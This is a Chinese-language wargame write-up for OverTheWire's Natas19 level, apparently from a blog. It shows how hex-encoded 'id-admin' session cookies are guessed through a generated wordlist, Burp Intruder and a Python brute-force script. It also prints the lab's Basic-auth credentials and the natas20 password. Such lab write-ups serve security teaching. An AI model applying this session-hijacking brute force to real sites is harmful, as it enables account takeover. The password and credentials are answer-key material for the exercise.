zoukankan      html  css  js  c++  java
  • Natas19 Writeup(Session登录,常见编码,暴力破解)

    Natas19:

    提示,与上一题源码类似,只是PHPSESSID不连续。随便输入username和password,抓包观察PHPSESSID,发现是输入的信息,按照id-username的格式,由ascill码转化为16进制,猜测正确PHPSESSID,应该是id-admin,python构造字典,burp抓包后使用intruder模块,导入字典后进行暴力破解。

    方法1:burp破解

    1.抓包得到PHPSESSID=3436322d61646d696e

     2.将PHPSESSID进行ASCII hex解码(ascill码转化为16进制),发现其值为id-username格式。可以多次抓包尝试,根据结果猜测正确PHPSESSID,应该是id-admin。

    3.由于-admin对应的十六进制是2d61646d696e不变,因此我们只需要构造前面的id对应的十六进制即可。0-9十个十位数对应的十六进制为30-39,我们用python构造字典。

    字典脚本(生成数字001-699的16进制):

    a = []
    for i in range(30,37):
        for j in range(30,40):
            for k in range(30,40):
                a.append( '%d%d%d'%(i,j,k))
    with open ("1.txt","w") as f:
        for i in a:
            f.write(i+"
    ")

    由于前100个id是0-99而不是000-099,我们使用notpad++手动将前100个id生成的16进制数前面的30去掉,得到最终的字典。

    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    3130
    3131
    3132
    3133
    3134
    3135
    3136
    3137
    3138
    3139
    3230
    3231
    3232
    3233
    3234
    3235
    3236
    3237
    3238
    3239
    3330
    3331
    3332
    3333
    3334
    3335
    3336
    3337
    3338
    3339
    3430
    3431
    3432
    3433
    3434
    3435
    3436
    3437
    3438
    3439
    3530
    3531
    3532
    3533
    3534
    3535
    3536
    3537
    3538
    3539
    3630
    3631
    3632
    3633
    3634
    3635
    3636
    3637
    3638
    3639
    3730
    3731
    3732
    3733
    3734
    3735
    3736
    3737
    3738
    3739
    3830
    3831
    3832
    3833
    3834
    3835
    3836
    3837
    3838
    3839
    3930
    3931
    3932
    3933
    3934
    3935
    3936
    3937
    3938
    3939
    313030
    313031
    313032
    313033
    313034
    313035
    313036
    313037
    313038
    313039
    313130
    313131
    313132
    313133
    313134
    313135
    313136
    313137
    313138
    313139
    313230
    313231
    313232
    313233
    313234
    313235
    313236
    313237
    313238
    313239
    313330
    313331
    313332
    313333
    313334
    313335
    313336
    313337
    313338
    313339
    313430
    313431
    313432
    313433
    313434
    313435
    313436
    313437
    313438
    313439
    313530
    313531
    313532
    313533
    313534
    313535
    313536
    313537
    313538
    313539
    313630
    313631
    313632
    313633
    313634
    313635
    313636
    313637
    313638
    313639
    313730
    313731
    313732
    313733
    313734
    313735
    313736
    313737
    313738
    313739
    313830
    313831
    313832
    313833
    313834
    313835
    313836
    313837
    313838
    313839
    313930
    313931
    313932
    313933
    313934
    313935
    313936
    313937
    313938
    313939
    323030
    323031
    323032
    323033
    323034
    323035
    323036
    323037
    323038
    323039
    323130
    323131
    323132
    323133
    323134
    323135
    323136
    323137
    323138
    323139
    323230
    323231
    323232
    323233
    323234
    323235
    323236
    323237
    323238
    323239
    323330
    323331
    323332
    323333
    323334
    323335
    323336
    323337
    323338
    323339
    323430
    323431
    323432
    323433
    323434
    323435
    323436
    323437
    323438
    323439
    323530
    323531
    323532
    323533
    323534
    323535
    323536
    323537
    323538
    323539
    323630
    323631
    323632
    323633
    323634
    323635
    323636
    323637
    323638
    323639
    323730
    323731
    323732
    323733
    323734
    323735
    323736
    323737
    323738
    323739
    323830
    323831
    323832
    323833
    323834
    323835
    323836
    323837
    323838
    323839
    323930
    323931
    323932
    323933
    323934
    323935
    323936
    323937
    323938
    323939
    333030
    333031
    333032
    333033
    333034
    333035
    333036
    333037
    333038
    333039
    333130
    333131
    333132
    333133
    333134
    333135
    333136
    333137
    333138
    333139
    333230
    333231
    333232
    333233
    333234
    333235
    333236
    333237
    333238
    333239
    333330
    333331
    333332
    333333
    333334
    333335
    333336
    333337
    333338
    333339
    333430
    333431
    333432
    333433
    333434
    333435
    333436
    333437
    333438
    333439
    333530
    333531
    333532
    333533
    333534
    333535
    333536
    333537
    333538
    333539
    333630
    333631
    333632
    333633
    333634
    333635
    333636
    333637
    333638
    333639
    333730
    333731
    333732
    333733
    333734
    333735
    333736
    333737
    333738
    333739
    333830
    333831
    333832
    333833
    333834
    333835
    333836
    333837
    333838
    333839
    333930
    333931
    333932
    333933
    333934
    333935
    333936
    333937
    333938
    333939
    343030
    343031
    343032
    343033
    343034
    343035
    343036
    343037
    343038
    343039
    343130
    343131
    343132
    343133
    343134
    343135
    343136
    343137
    343138
    343139
    343230
    343231
    343232
    343233
    343234
    343235
    343236
    343237
    343238
    343239
    343330
    343331
    343332
    343333
    343334
    343335
    343336
    343337
    343338
    343339
    343430
    343431
    343432
    343433
    343434
    343435
    343436
    343437
    343438
    343439
    343530
    343531
    343532
    343533
    343534
    343535
    343536
    343537
    343538
    343539
    343630
    343631
    343632
    343633
    343634
    343635
    343636
    343637
    343638
    343639
    343730
    343731
    343732
    343733
    343734
    343735
    343736
    343737
    343738
    343739
    343830
    343831
    343832
    343833
    343834
    343835
    343836
    343837
    343838
    343839
    343930
    343931
    343932
    343933
    343934
    343935
    343936
    343937
    343938
    343939
    353030
    353031
    353032
    353033
    353034
    353035
    353036
    353037
    353038
    353039
    353130
    353131
    353132
    353133
    353134
    353135
    353136
    353137
    353138
    353139
    353230
    353231
    353232
    353233
    353234
    353235
    353236
    353237
    353238
    353239
    353330
    353331
    353332
    353333
    353334
    353335
    353336
    353337
    353338
    353339
    353430
    353431
    353432
    353433
    353434
    353435
    353436
    353437
    353438
    353439
    353530
    353531
    353532
    353533
    353534
    353535
    353536
    353537
    353538
    353539
    353630
    353631
    353632
    353633
    353634
    353635
    353636
    353637
    353638
    353639
    353730
    353731
    353732
    353733
    353734
    353735
    353736
    353737
    353738
    353739
    353830
    353831
    353832
    353833
    353834
    353835
    353836
    353837
    353838
    353839
    353930
    353931
    353932
    353933
    353934
    353935
    353936
    353937
    353938
    353939
    363030
    363031
    363032
    363033
    363034
    363035
    363036
    363037
    363038
    363039
    363130
    363131
    363132
    363133
    363134
    363135
    363136
    363137
    363138
    363139
    363230
    363231
    363232
    363233
    363234
    363235
    363236
    363237
    363238
    363239
    363330
    363331
    363332
    363333
    363334
    363335
    363336
    363337
    363338
    363339
    363430
    363431
    363432
    363433
    363434
    363435
    363436
    363437
    363438
    363439
    363530
    363531
    363532
    363533
    363534
    363535
    363536
    363537
    363538
    363539
    363630
    363631
    363632
    363633
    363634
    363635
    363636
    363637
    363638
    363639
    363730
    363731
    363732
    363733
    363734
    363735
    363736
    363737
    363738
    363739
    363830
    363831
    363832
    363833
    363834
    363835
    363836
    363837
    363838
    363839
    363930
    363931
    363932
    363933
    363934
    363935
    363936
    363937
    363938
    363939
    1.txt

    字典进阶:

    上面生成字典的方法太麻烦了,下面脚本可以帮助我们直接生成PHPSESSID值的字典。

    Python2.x脚本

    # coding=utf-8
    import binascii
    a = []
    for i in range(641):
        k=binascii.hexlify(str(i))+"2d61646d696e"
        a.append(k)
    with open ("1.txt","w") as f:
        for i in a:
            f.write(i+"
    ")
    
    # python中,函数 hexlify 作用是返回的二进制数据的十六进制表示。
    # 每个字节的数据转换成相应的 2 位十六进制表示。因此产生的字符串是原数据的两倍长度。
    # unhexlify 则执行反向操作。

    Python3.x脚本:

    # coding=utf-8
    import binascii
    a = []
    for i in range(641):
        k=binascii.hexlify(bytes(str(i).encode()))+b"2d61646d696e"
        a.append(k.decode())
    with open ("1.txt","w") as f:
        for i in a:
            f.write(i+"
    ")

    关于Python2和Python3的字符编码与界解码问题,看这里

    4.下面使用burp开始爆破:

    如上图,这个正确结果的length比较特别,既不是所有结果中最长的,也不是最短的,而是一个中间数。我是第一次遇到这种情况,害我找了半天。

    另外,如果不想使用python生成脚本,可以直接使用burp的intruder模块中的Cluster bomb模式,将PHPSESSID值的前六位数做3个payload配置,进行爆破。

    得到flag:

    You are an admin. The credentials for the next level are:
    Username: natas20
    Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

    方法2:python破解

    # coding=utf-8
    import requests
    import binascii
    
    url = "http://natas19.natas.labs.overthewire.org/"
    payload = {"username":"admin","password":"123"}
    
    for i in range(640):
        headers = {"Cookie":"PHPSESSID="+binascii.hexlify(str(i))+"2d61646d696e","Authorization":"Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw=="}
        req = requests.post(url,params=payload,headers=headers)
        if "You are logged in as a regular user"  in req.text:
            # print(i) #打印i,查看进度
            continue
        else:
            print(i)
            print(req.text)
            exit()
    

    flag:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

    缺点:速度太慢了,可以考虑使用多线程

    参考:

    https://www.cnblogs.com/ichunqiu/p/9554885.html
    https://www.cnblogs.com/liqiuhao/p/6859052.html

  • 相关阅读:
    这难道就是一个普通人的一生???
    【纪念】纪念随笔数上3位数
    【移动端】js禁止页面滑动与允许滑动
    【react懒加载组件】--react-lazyload
    ES6知识整理(7)--Set和Map数据结构
    Hibernate检索策略
    Hibernate HQL多表查询
    Hibernate各种查询操作(二)
    Hibernate各种查询操作(一)
    Hibernate多对多操作
  • 原文地址:https://www.cnblogs.com/zhengna/p/12295059.html
Copyright © 2011-2022 走看看